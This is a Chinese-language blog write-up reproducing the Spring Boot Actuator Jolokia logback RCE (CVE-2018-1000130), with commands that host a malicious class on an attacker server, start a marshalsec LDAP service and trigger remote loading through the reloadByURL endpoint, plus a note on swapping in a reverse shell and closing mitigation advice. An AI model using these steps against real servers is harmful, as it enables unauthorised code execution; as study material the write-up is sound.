springboot-jolokia-RCE
前言
前段时间在测试时侥幸挖到这个漏洞,原先只打算提交未授权访问,不过后面发现了jolokia logback
,属于比较老的,但是危害极大,选择记录一下
正文
jolokia logback XXE 引发的rce
CVE-2018-1000130
从springboot actuator未授权访问漏洞引入
springboot官方文档对每个端点的功能进行了描述。
1、Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
当端点中使用了jolokia时,可能会存在XXE漏洞,远程加载XML但是没有过滤得当,导致加载了恶意代码造成RCE
关于jolokia,GPT是这么说的
JMX API,被称之为被管理的bean,或者MBean,漏洞存在于某些接口中,reloadByURL
方法, 这个方法是造成RCE的关键。因为logback
组件提供的reloadByURL
操作使我们可以从外部URL重新加载日志配置
环境
springboot1.x,jolokia1.6,java1.8(远程加载类还能用的JDK版本)
在本地启动springboot项目
常规的目录扫描就可以找到,需要批量检测可以写个脚本,确定未授权
访问 /jolokia/list
,查看JMX API接口是否存在 ch.qos.logback.classic.jmx.JMXConfigurator
和 reloadByURL
确认存在,可以尝试攻击
复现
创建java恶意类,javac
编译出.class
文件放到自己的VPS上
1 |
|
再写一个poc.xml
,同样放在VPS同一目录下
1 | <configuration> |
在当前目录下,用python
开启一个简单http
服务
1 | python3 -m http.server 8080 |
使用marshalsec
创建 ldap
服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.130:8080/#POC 8888 |
随后用这样的方式访问加载远程的文件
1 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.1.130:8085!/POC.xml |
想要反弹shell,更换恶意类即可,如下
总结
1 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法 |
防护
在application.properties
中指定actuator
的端口以及开启security
功能,配置访问权限验证,这时再访问actuator
功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。
1 | management.port=8099 |
**jolokia **升级到最新版